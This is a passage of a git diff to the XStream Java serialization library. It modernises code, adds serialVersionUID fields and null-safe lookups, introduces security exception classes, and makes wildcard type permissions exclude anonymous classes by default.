pullNextEvent() { default: return OTHER; } - } catch (final XmlPullParserException e) { - throw new StreamException(e); - } catch (final IOException e) { + } catch (final XmlPullParserException | IOException e) { throw new StreamException(e); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/xppdom/Xpp3Dom.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/xppdom/Xpp3Dom.java index 01a141c38..606eecab9 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/xppdom/Xpp3Dom.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/xppdom/Xpp3Dom.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -21,6 +21,7 @@ */ @Deprecated public class Xpp3Dom extends XppDom { + private static final long serialVersionUID = 10400L; /** * @deprecated As of 1.4, use {@link XppDom} instead diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationConfiguration.java b/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationConfiguration.java index 81638915c..e15c8b272 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationConfiguration.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationConfiguration.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2013, 2014 XStream Committers. + * Copyright (C) 2007, 2008, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -15,7 +15,7 @@ * * @author Jörg Schaible * @since 1.3 - * @deprecated As of 1.4.5, minimal JDK version will be 1.6 for next major release and AnnotationMapper can be used + * @deprecated As of 1.4.5, minimal JDK version will be 1.7 for next major release and AnnotationMapper can be used * directly */ @Deprecated diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationMapper.java index 1eff98895..9476cdd7c 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/AnnotationMapper.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2007, 2008, 2009, 2011, 2012, 2013, 2014, 2015, 2016, 2022 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -289,8 +289,8 @@ private void processConverterAnnotations(final Class type) { final XStreamConverters convertersAnnotation = type.getAnnotation(XStreamConverters.class); final XStreamConverter converterAnnotation = type.getAnnotation(XStreamConverter.class); final List annotations = convertersAnnotation != null - ? new ArrayList(Arrays.asList(convertersAnnotation.value())) - : new ArrayList(); + ? new ArrayList<>(Arrays.asList(convertersAnnotation.value())) + : new ArrayList<>(); if (converterAnnotation != null) { annotations.add(converterAnnotation); } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/AttributeMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/AttributeMapper.java index c6e252892..65b90b0b0 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/AttributeMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/AttributeMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2010, 2013, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -85,8 +85,8 @@ public boolean shouldLookForSingleValueConverter(final String fieldName, final C } else if (fieldNameToTypeMap.get(fieldName) == type) { return true; } else if (fieldName != null && definedIn != null) { - final Field field = reflectionProvider.getField(definedIn, fieldName); - return fieldToUseAsAttribute.contains(field); + final Field field = reflectionProvider.getFieldOrNull(definedIn, fieldName); + return field != null && fieldToUseAsAttribute.contains(field); } return false; } @@ -97,8 +97,8 @@ public boolean shouldLookForSingleValueConverter(final String fieldName, final C @Deprecated @Override public SingleValueConverter getConverterFromAttribute(final Class definedIn, final String attribute) { - final Field field = reflectionProvider.getField(definedIn, attribute); - return getConverterFromAttribute(definedIn, attribute, field.getType()); + final Field field = reflectionProvider.getFieldOrNull(definedIn, attribute); + return field != null ? getConverterFromAttribute(definedIn, attribute, field.getType()) : null; } @Override @@ -120,7 +120,9 @@ public SingleValueConverter getConverterFromAttribute(final Class definedIn, * @since 1.2.2 */ public void addAttributeFor(final Field field) { - fieldToUseAsAttribute.add(field); + if (field != null) { + fieldToUseAsAttribute.add(field); + } } /** @@ -128,10 +130,9 @@ public void addAttributeFor(final Field field) { * * @param definedIn the declaring class of the field * @param fieldName the name of the field - * @throws IllegalArgumentException if the field does not exist * @since 1.3 */ public void addAttributeFor(final Class definedIn, final String fieldName) { - fieldToUseAsAttribute.add(reflectionProvider.getField(definedIn, fieldName)); + addAttributeFor(reflectionProvider.getField(definedIn, fieldName)); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/CachingMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/CachingMapper.java index b5dff5507..46add3008 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/CachingMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/CachingMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -47,10 +47,7 @@ public Class realClass(final String elementName) { try { realClassCache.putIfAbsent(elementName, super.realClass(elementName)); return (Class)realClassCache.get(elementName); - } catch (final ForbiddenClassException e) { - realClassCache.putIfAbsent(elementName, e); - throw e; - } catch (final CannotResolveClassException e) { + } catch (final ForbiddenClassException | CannotResolveClassException e) { realClassCache.putIfAbsent(elementName, e); throw e; } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/CannotResolveClassException.java b/xstream/src/java/com/thoughtworks/xstream/mapper/CannotResolveClassException.java index d1dfe582d..057165a3f 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/CannotResolveClassException.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/CannotResolveClassException.java @@ -1,33 +1,37 @@ /* * Copyright (C) 2003 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 26. September 2003 by Joe Walnes */ package com.thoughtworks.xstream.mapper; import com.thoughtworks.xstream.XStreamException; + /** * Exception thrown if a mapper cannot locate the appropriate class for an element. - * + * * @author Joe Walnes * @author Jörg Schaible * @since 1.2 */ public class CannotResolveClassException extends XStreamException { - public CannotResolveClassException(String className) { + private static final long serialVersionUID = 10400L; + + public CannotResolveClassException(final String className) { super(className); } + /** * @since 1.4.2 */ - public CannotResolveClassException(String className, Throwable cause) { + public CannotResolveClassException(final String className, final Throwable cause) { super(className, cause); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/ClassAliasingMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/ClassAliasingMapper.java index 3e8e24b1b..4559c3d55 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/ClassAliasingMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/ClassAliasingMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2014, 2015, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -78,7 +78,7 @@ public Class realClass(String elementName) { */ @Deprecated public boolean itemTypeAsAttribute(final Class clazz) { - return classToName.containsKey(clazz); + return classToName.containsKey(clazz.getName()); } /** diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java index f50a7268f..a89bf05d6 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -79,7 +79,7 @@ public Class realClass(final String elementName) { initialize = elementName.charAt(0) == '['; } return Class.forName(elementName, initialize, classLoader); - } catch (final ClassNotFoundException e) { + } catch (final ClassNotFoundException | IllegalArgumentException e) { throw new CannotResolveClassException(elementName); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/ElementIgnoringMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/ElementIgnoringMapper.java index 310baa529..311661a74 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/ElementIgnoringMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/ElementIgnoringMapper.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2013, 2016 XStream Committers. + * Copyright (C) 2013, 2016, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -10,12 +10,11 @@ */ package com.thoughtworks.xstream.mapper; -import java.util.HashSet; -import java.util.LinkedHashSet; -import java.util.Set; +import java.util.LinkedHashMap; +import java.util.Map; import java.util.regex.Pattern; -import com.thoughtworks.xstream.core.util.FastField; +import com.thoughtworks.xstream.core.util.MemberDictionary; /** @@ -25,24 +24,24 @@ */ public class ElementIgnoringMapper extends MapperWrapper { - protected final Set unknownElementsToIgnore = new LinkedHashSet<>(); - protected final Set fieldsToOmit = new HashSet<>(); + private final Map unknownElementsToIgnore = new LinkedHashMap<>(); + private final MemberDictionary fieldsToOmit = new MemberDictionary(); public ElementIgnoringMapper(final Mapper wrapped) { super(wrapped); } public void addElementsToIgnore(final Pattern pattern) { - unknownElementsToIgnore.add(pattern); + unknownElementsToIgnore.put(pattern.pattern(), pattern); } public void omitField(final Class definedIn, final String fieldName) { - fieldsToOmit.add(key(definedIn, fieldName)); + fieldsToOmit.add(definedIn, fieldName); } @Override public boolean shouldSerializeMember(final Class definedIn, final String fieldName) { - if (fieldsToOmit.contains(key(definedIn, fieldName))) { + if (fieldsToOmit.contains(definedIn, fieldName)) { return false; } else if (definedIn == Object.class && isIgnoredElement(fieldName)) { return false; @@ -53,7 +52,7 @@ public boolean shouldSerializeMember(final Class definedIn, final String fiel @Override public boolean isIgnoredElement(final String name) { if (!unknownElementsToIgnore.isEmpty()) { - for (final Pattern pattern : unknownElementsToIgnore) { + for (final Pattern pattern : unknownElementsToIgnore.values()) { if (pattern.matcher(name).matches()) { return true; } @@ -61,8 +60,4 @@ public boolean isIgnoredElement(final String name) { } return super.isIgnoredElement(name); } - - private FastField key(final Class type, final String name) { - return new FastField(type, name); - } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/FieldAliasingMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/FieldAliasingMapper.java index 110f16b68..d4a1c5772 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/FieldAliasingMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/FieldAliasingMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2013, 2014, 2015, 2016, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,11 +11,9 @@ */ package com.thoughtworks.xstream.mapper; -import java.util.HashMap; -import java.util.Map; import java.util.regex.Pattern; -import com.thoughtworks.xstream.core.util.FastField; +import com.thoughtworks.xstream.core.util.MemberStore; /** @@ -25,8 +23,8 @@ */ public class FieldAliasingMapper extends MapperWrapper { - protected final Map fieldToAliasMap = new HashMap<>(); - protected final Map aliasToFieldMap = new HashMap<>(); + private final MemberStore fieldToAliasMap = MemberStore.newInstance(); + private final MemberStore aliasToFieldMap = MemberStore.newInstance(); private final ElementIgnoringMapper elementIgnoringMapper; public FieldAliasingMapper(final Mapper wrapped) { @@ -35,8 +33,8 @@ public FieldAliasingMapper(final Mapper wrapped) { } public void addFieldAlias(final String alias, final Class type, final String fieldName) { - fieldToAliasMap.put(key(type, fieldName), alias); - aliasToFieldMap.put(key(type, alias), fieldName); + fieldToAliasMap.put(type, fieldName, alias); + aliasToFieldMap.put(type, alias, fieldName); } /** @@ -49,10 +47,6 @@ public void addFieldsToIgnore(final Pattern pattern) { } } - private FastField key(final Class type, final String name) { - return new FastField(type, name); - } - /** * @deprecated As of 1.4.9 use {@link ElementIgnoringMapper#omitField(Class, String)}. */ @@ -83,13 +77,14 @@ public String realMember(final Class type, final String serialized) { } } - private String getMember(final Class type, final String name, final Map map) { - String member = null; - for (Class declaringType = type; member == null - && declaringType != Object.class - && declaringType != null; declaringType = declaringType.getSuperclass()) { - member = map.get(key(declaringType, name)); + private String getMember(final Class type, final String name, final MemberStore store) { + for (Class declaringType = type; declaringType != Object.class && declaringType != null; declaringType = + declaringType.getSuperclass()) { + final String member = store.get(declaringType, name); + if (member != null) { + return member; + } } - return member; + return null; } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/ImmutableTypesMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/ImmutableTypesMapper.java index 1f7ddbdba..efe13fedd 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/ImmutableTypesMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/ImmutableTypesMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2009, 2014, 2015 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2014, 2015, 2021 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -70,8 +70,8 @@ public boolean isImmutableValueType(final Class type) { @Override public boolean isReferenceable(final Class type) { - if (unreferenceableTypes.contains(type)) { - return false; + if (immutableTypes.contains(type)) { + return !unreferenceableTypes.contains(type); } else { return super.isReferenceable(type); } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/LocalConversionMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/LocalConversionMapper.java index 456331366..541017362 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/LocalConversionMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/LocalConversionMapper.java @@ -1,37 +1,34 @@ /* - * Copyright (C) 2007, 2008, 2014, 2015 XStream Committers. + * Copyright (C) 2007, 2008, 2014, 2015, 2024 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 06. November 2007 by Joerg Schaible */ package com.thoughtworks.xstream.mapper; -import java.util.HashMap; -import java.util.Map; - import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.SingleValueConverter; -import com.thoughtworks.xstream.core.util.FastField; +import com.thoughtworks.xstream.core.util.MemberStore; /** * A Mapper for locally defined converters for a member field. - * + * * @author Jörg Schaible * @since 1.3 */ public class LocalConversionMapper extends MapperWrapper { - private final Map localConverters = new HashMap<>(); + private final MemberStore localConverters = MemberStore.newInstance(); private transient AttributeMapper attributeMapper; /** * Constructs a LocalConversionMapper. - * + * * @param wrapped * @since 1.3 */ @@ -41,12 +38,12 @@ public LocalConversionMapper(final Mapper wrapped) { } public void registerLocalConverter(final Class definedIn, final String fieldName, final Converter converter) { - localConverters.put(new FastField(definedIn, fieldName), converter); + localConverters.put(definedIn, fieldName, converter); } @Override public Converter getLocalConverter(final Class definedIn, final String fieldName) { - return localConverters.get(new FastField(definedIn, fieldName)); + return localConverters.get(definedIn, fieldName); } @Override diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/Mapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/Mapper.java index 5a9df995b..aeacf07e3 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/Mapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/Mapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -11,6 +11,8 @@ */ package com.thoughtworks.xstream.mapper; +import java.io.Serializable; + import com.thoughtworks.xstream.converters.Converter; import com.thoughtworks.xstream.converters.SingleValueConverter; @@ -19,7 +21,9 @@ public interface Mapper { /** * Place holder type used for null values. */ - class Null {} + class Null implements Serializable { + private static final long serialVersionUID = 20200522L; + } /** * How a class name should be represented in its serialized form. diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/SecurityMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/SecurityMapper.java index f0e92937d..c66603582 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/SecurityMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/SecurityMapper.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2014, 2015 XStream Committers. + * Copyright (C) 2014, 2015, 2022 XStream Committers. * All rights reserved. * * Created on 08. January 2014 by Joerg Schaible @@ -47,8 +47,8 @@ public SecurityMapper(final Mapper wrapped) { public SecurityMapper(final Mapper wrapped, final TypePermission... permissions) { super(wrapped); this.permissions = permissions == null // - ? new ArrayList() - : new ArrayList(Arrays.asList(permissions)); + ? new ArrayList<>() + : new ArrayList<>(Arrays.asList(permissions)); } /** diff --git a/xstream/src/java/com/thoughtworks/xstream/persistence/AbstractFilePersistenceStrategy.java b/xstream/src/java/com/thoughtworks/xstream/persistence/AbstractFilePersistenceStrategy.java index 54bf30fd7..37128da84 100644 --- a/xstream/src/java/com/thoughtworks/xstream/persistence/AbstractFilePersistenceStrategy.java +++ b/xstream/src/java/com/thoughtworks/xstream/persistence/AbstractFilePersistenceStrategy.java @@ -1,11 +1,11 @@ /* - * Copyright (C) 2008, 2014 XStream Committers. + * Copyright (C) 2008, 2014, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 18. November 2008 by Joerg Schaible */ package com.thoughtworks.xstream.persistence; @@ -31,7 +31,7 @@ /** * Abstract base class for file based persistence strategies. - * + * * @author Guilherme Silveira * @author Joerg Schaible * @since 1.3.1 @@ -64,7 +64,7 @@ protected boolean isValid(final File dir, final String name) { /** * Given a filename, the unescape method returns the key which originated it. - * + * * @param name the filename * @return the original key */ @@ -72,7 +72,7 @@ protected boolean isValid(final File dir, final String name) { /** * Given a key, the escape method returns the filename which shall be used. - * + * * @param key the key * @return the desired and escaped filename */ @@ -156,13 +156,10 @@ public boolean equals(final Object obj) { private void writeFile(final File file, final Object value) { try { final FileOutputStream out = new FileOutputStream(file); - final Writer writer = encoding != null + try (final Writer writer = encoding != null ? new OutputStreamWriter(out, encoding) - : new OutputStreamWriter(out); - try { + : new OutputStreamWriter(out)) { xstream.toXML(value, writer); - } finally { - writer.close(); } } catch (final IOException e) { throw new StreamException(e); @@ -176,13 +173,12 @@ private File getFile(final String filename) { private V readFile(final File file) { try { final FileInputStream in = new FileInputStream(file); - final Reader reader = encoding != null ? new InputStreamReader(in, encoding) : new InputStreamReader(in); - try { + try (final Reader reader = encoding != null + ? new InputStreamReader(in, encoding) + : new InputStreamReader(in)) { @SuppressWarnings("unchecked") final V value = (V)xstream.fromXML(reader); return value; - } finally { - reader.close(); } } catch (final FileNotFoundException e) { // not found... file.exists might generate a sync problem diff --git a/xstream/src/java/com/thoughtworks/xstream/persistence/FilePersistenceStrategy.java b/xstream/src/java/com/thoughtworks/xstream/persistence/FilePersistenceStrategy.java index e839f3a97..2d0db951e 100644 --- a/xstream/src/java/com/thoughtworks/xstream/persistence/FilePersistenceStrategy.java +++ b/xstream/src/java/com/thoughtworks/xstream/persistence/FilePersistenceStrategy.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2008, 2014, 2015, 2016 XStream Committers. + * Copyright (C) 2008, 2014, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -54,7 +54,7 @@ public FilePersistenceStrategy(final File baseDirectory) { * @since 1.3.1 */ public FilePersistenceStrategy(final File baseDirectory, final XStream xstream) { - this(baseDirectory, xstream, "utf-8", "<>?:/\\\"|*%"); + this(baseDirectory, xstream, "UTF-8", "<>?:/\\\"|*%"); } /** diff --git a/xstream/src/java/com/thoughtworks/xstream/persistence/XmlArrayList.java b/xstream/src/java/com/thoughtworks/xstream/persistence/XmlArrayList.java index d29846733..96b793f19 100644 --- a/xstream/src/java/com/thoughtworks/xstream/persistence/XmlArrayList.java +++ b/xstream/src/java/com/thoughtworks/xstream/persistence/XmlArrayList.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2007, 2008, 2014, 2015 XStream Committers. + * Copyright (C) 2007, 2008, 2014, 2015, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -50,7 +50,7 @@ public void add(final int index, final V element) { for (int i = size; i > to; i--) { map.put(Integer.valueOf(i + 1), map.get(Integer.valueOf(i))); } - map.put(new Integer(index), element); + map.put(Integer.valueOf(index), element); } private void rangeCheck(final int index) { diff --git a/xstream/src/java/com/thoughtworks/xstream/security/AbstractSecurityException.java b/xstream/src/java/com/thoughtworks/xstream/security/AbstractSecurityException.java new file mode 100644 index 000000000..777765a75 --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/security/AbstractSecurityException.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2021, 2022 XStream Committers. + * All rights reserved. + * + * Created on 21. September 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.security; + +import com.thoughtworks.xstream.XStreamException; + + +/** + * General base class for a Security Exception in XStream. + * + * @author Jörg Schaible + * @since 1.4.19 + */ +public abstract class AbstractSecurityException extends XStreamException { + private static final long serialVersionUID = 20210921L; + + /** + * Constructs a SecurityException. + * @param message the exception message + * @since 1.4.19 + */ + public AbstractSecurityException(final String message) { + super(message); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/security/ForbiddenClassException.java b/xstream/src/java/com/thoughtworks/xstream/security/ForbiddenClassException.java index fdf91718f..2647e0447 100644 --- a/xstream/src/java/com/thoughtworks/xstream/security/ForbiddenClassException.java +++ b/xstream/src/java/com/thoughtworks/xstream/security/ForbiddenClassException.java @@ -1,27 +1,27 @@ /* - * Copyright (C) 2014 XStream Committers. + * Copyright (C) 2014, 2018, 2021 XStream Committers. * All rights reserved. * * Created on 08. January 2014 by Joerg Schaible */ package com.thoughtworks.xstream.security; -import com.thoughtworks.xstream.XStreamException; - /** * Exception thrown for a forbidden class. * * @author Jörg Schaible * @since 1.4.7 */ -public class ForbiddenClassException extends XStreamException { +public class ForbiddenClassException extends AbstractSecurityException { + + private static final long serialVersionUID = 10407L; /** * Construct a ForbiddenClassException. * @param type the forbidden class * @since 1.4.7 */ - public ForbiddenClassException(Class type) { + public ForbiddenClassException(final Class type) { super(type == null ? "null" : type.getName()); } } diff --git a/xstream/src/java/com/thoughtworks/xstream/security/InputManipulationException.java b/xstream/src/java/com/thoughtworks/xstream/security/InputManipulationException.java new file mode 100644 index 000000000..80f492cdd --- /dev/null +++ b/xstream/src/java/com/thoughtworks/xstream/security/InputManipulationException.java @@ -0,0 +1,27 @@ +/* + * Copyright (C) 2021, 2022 XStream Committers. + * All rights reserved. + * + * Created on 21. September 2021 by Joerg Schaible + */ +package com.thoughtworks.xstream.security; + + +/** + * Class for a Security Exception assuming input manipulation in XStream. + * + * @author Jörg Schaible + * @since 1.4.19 + */ +public class InputManipulationException extends AbstractSecurityException { + private static final long serialVersionUID = 20210921L; + + /** + * Constructs a SecurityException. + * @param message the exception message + * @since 1.4.19 + */ + public InputManipulationException(final String message) { + super(message); + } +} diff --git a/xstream/src/java/com/thoughtworks/xstream/security/WildcardTypePermission.java b/xstream/src/java/com/thoughtworks/xstream/security/WildcardTypePermission.java index 9bbf56c67..7a806d6ea 100644 --- a/xstream/src/java/com/thoughtworks/xstream/security/WildcardTypePermission.java +++ b/xstream/src/java/com/thoughtworks/xstream/security/WildcardTypePermission.java @@ -1,5 +1,5 @@ /* - * Copyright (C) 2014 XStream Committers. + * Copyright (C) 2014, 2022 XStream Committers. * All rights reserved. * * Created on 09. January 2014 by Joerg Schaible @@ -8,34 +8,57 @@ /** * Permission for any type with a name matching one of the provided wildcard expressions. - * *

    * Supported are patterns with path expressions using dot as separator: *

    *
      *
    • ?: one non-control character except separator, e.g. for 'java.net.Inet?Address'
    • - *
    • *: arbitrary number of non-control characters except separator, e.g. for types in a package like 'java.lang.*'
    • - *
    • **: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages like 'java.lang.**'
    • + *
    • *: arbitrary number of non-control characters except separator, e.g. for types in a package like + * 'java.lang.*'
    • + *
    • **: arbitrary number of non-control characters including separator, e.g. for types in a package and subpackages + * like 'java.lang.**'
    • *
    *

    * The complete range of UTF-8 characters is supported except control characters. *

    - * + *

    + * Note: The wildcard pattern will not match by default anonymous types, since these classes are rarely used for + * serialization. + *

    + * * @author Jörg Schaible * @since 1.4.7 */ public class WildcardTypePermission extends RegExpTypePermission { /** + * Create a WildcardTypePermission. + *

    + * The wildcard pattern will not match anonymous types. + *

    + * + * @param patterns Array of wildcard patterns for types * @since 1.4.7 */ public WildcardTypePermission(final String... patterns) { - super(getRegExpPatterns(patterns)); + this(false, patterns); + } + + /** + * Create a WildcardTypePermission. + * + * @param allowAnonymous Flag to match also anonymous types with the wildcard + * @param patterns Array of wildcard patterns for types + * @since 1.4.20 + */ + public WildcardTypePermission(final boolean allowAnonymous, final String... patterns) { + super(getRegExpPatterns(allowAnonymous, patterns)); } - private static String[] getRegExpPatterns(final String... wildcards) { - if (wildcards == null) + private static String[] getRegExpPatterns(final boolean allowAnonymous, final String... wildcards) { + if (wildcards == null) { return null; + } final String[] regexps = new String[wildcards.length]; for (int i = 0; i < wildcards.length; ++i) { final String wildcardExpression = wildcards[i]; @@ -65,10 +88,12 @@ private static String[] getRegExpPatterns(final String... wildcards) { case '*': // see "General Category Property" in http://www.unicode.org/reports/tr18/ if (j + 1 < length && wildcardExpression.charAt(j + 1) == '*') { - result.append("[\\P{C}]*"); + result.append(allowAnonymous ? "[\\P{C}]*" : "[\\P{C}&&[^$]]*(?:\\$[^0-9$][\\P{C}&&[^.$]]*)*"); j++; } else { - result.append("[\\P{C}&&[^").append('.').append("]]*"); + result.append(allowAnonymous + ? "[\\P{C}&&[^.]]*" + : "[\\P{C}&&[^.$]]*(?:\\$[^0-9$][\\P{C}&&[^.$]]*)*"); } break; diff --git a/xstream/src/test/com/thoughtworks/acceptance/AbsoluteSingleNodeXPathReferenceTest.java b/xstream/src/test/com/thoughtworks/acceptance/AbsoluteSingleNodeXPathReferenceTest.java index d8bf85f6f..dfa90c0a8 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/AbsoluteSingleNodeXPathReferenceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/AbsoluteSingleNodeXPathReferenceTest.java @@ -1,28 +1,29 @@ /* - * Copyright (C) 2006, 2007, 2009, 2010, 2011 XStream Committers. + * Copyright (C) 2006, 2007, 2009, 2010, 2011, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 30. July 2011 by Joerg Schaible by merging * AbsolutSingleNodeXPathCircularReferenceTest, AbsolutSingleNodeXPathDuplicateReferenceTest * and AbsolutSingleNodeXPathReplacedReferenceTest. */ package com.thoughtworks.acceptance; -import com.thoughtworks.xstream.XStream; -import com.thoughtworks.xstream.mapper.Mapper; - import java.util.ArrayList; import java.util.List; +import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.mapper.Mapper; + public class AbsoluteSingleNodeXPathReferenceTest extends AbstractReferenceTest { // tests inherited from superclass + @Override protected void setUp() throws Exception { super.setUp(); xstream.setMode(XStream.SINGLE_NODE_XPATH_ABSOLUTE_REFERENCES); @@ -30,15 +31,15 @@ protected void setUp() throws Exception { public void testXmlContainsReferencePaths() { - Thing sameThing = new Thing("hello"); - Thing anotherThing = new Thing("hello"); + final Thing sameThing = new Thing("hello"); + final Thing anotherThing = new Thing("hello"); - List list = new ArrayList(); + final List list = new ArrayList<>(); list.add(sameThing); list.add(sameThing); list.add(anotherThing); - String expected = "" + final String expected = "" + "\n" + " \n" + " hello\n" @@ -53,12 +54,12 @@ public void testXmlContainsReferencePaths() { } public void testCircularReferenceXml() { - Person bob = new Person("bob"); - Person jane = new Person("jane"); + final Person bob = new Person("bob"); + final Person jane = new Person("jane"); bob.likes = jane; jane.likes = bob; - String expected = "" + final String expected = "" + "\n" + " bob\n" + " \n" @@ -71,10 +72,10 @@ public void testCircularReferenceXml() { } public void 